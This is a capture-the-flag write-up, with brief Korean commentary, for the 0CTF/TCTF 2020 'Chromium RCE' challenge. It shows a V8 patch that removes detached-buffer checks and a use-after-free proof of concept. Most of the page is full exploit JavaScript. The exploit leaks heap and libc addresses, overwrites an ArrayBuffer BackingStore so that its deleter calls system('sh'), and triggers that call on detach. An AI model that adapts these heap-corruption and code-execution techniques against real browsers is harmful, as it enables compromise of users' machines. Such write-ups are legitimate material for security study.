0CTF/TCTF 2020 Quals - Chromium RCE

Posted on Aug 14, 2020
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);
 
     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
 
       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)

TypedArray의 데이터를 set할때 buffer가 Detach 되었는지 체크하는 구문을 제거했다.

이 경우 %ArrayBufferDetach 로 Detach된 buffer를 읽고 쓸 수 있는 UAF가 발생한다.

var buf = new ArrayBuffer(0x100);
var array = new BigInt64Array(buf);

%ArrayBufferDetach(buf);

var leak = new ArrayBuffer(0x100);
var leak_arr = new BigInt64Array(leak);

leak_arr.set(array, 0);

console.log('leaked[0] : 0x' + leak_arr[0].toString(16));

Exploit

  1. Trigger UAF
  2. Leak heap address / libc address
  3. Allocate 0x30 sized ArrayBuffer(victim), and free it. (register into tcache:0x30)
  4. Allocate another ArrayBuffer
    • v8::internal::BackingStore will be allocated on victim chunk.
  5. Overwrite members of BackingStore
    • type_specific_data_ = &system
    • buffer_start_ = &“sh”
    • buffer_start_+8 = 0x6873 (“sh”)
    • flag |= 0x40 (custom_deleter_)
  6. Call %ArrayBufferDetach, system will be called instead of Allocator::ShellArrayBufferAllocator::Free with buffer_start_ for 1st arg.
var free = new ArrayBuffer(0x20);
var free_arr = new BigInt64Array(free);
var asdf = new ArrayBuffer(0x20);

var leak = new ArrayBuffer(0x500);
var leak_arr = new BigInt64Array(leak);

%ArrayBufferDetach(asdf);
%ArrayBufferDetach(free);
leak_arr.set(free_arr, 0);

heap = leak_arr[0] - 0x4e060n;
fvtable = heap + 0x50eb0n;
fvtable2 = heap + 0x50fa0n;
console.log('heap : 0x' + heap.toString(16));

var libcleak = new ArrayBuffer(0x420);
var llarr = new BigInt64Array(libcleak);

%ArrayBufferDetach(libcleak);
leak_arr.set(llarr, 0);

libc = leak_arr[1] - 0x1e4ca0n;
free_hook = libc + 0x1e75a8n;
system = libc + 0x52fd0n;
console.log('libc : 0x' + libc.toString(16));

var vic = new ArrayBuffer(0x30);
var vic_arr = new BigInt64Array(vic);

%ArrayBufferDetach(vic);

var tmp1 = new ArrayBuffer(0x30);
var tmp1arr = new BigInt64Array(tmp1arr);
var trigger = new ArrayBuffer(0x30);
var trigger_arr = new BigInt64Array(trigger);

var pay_arr = new BigInt64Array(6);
pay_arr[0] = 0x5555564e0708n; // &"sh"
pay_arr[1] = 0x6873n; // "sh"
pay_arr[2] = 0x30n;
pay_arr[3] = system;
pay_arr[5] = 0x48n;

var asd = new ArrayBuffer(0x80);

vic_arr.set(pay_arr, 0);
%ArrayBufferDetach(trigger);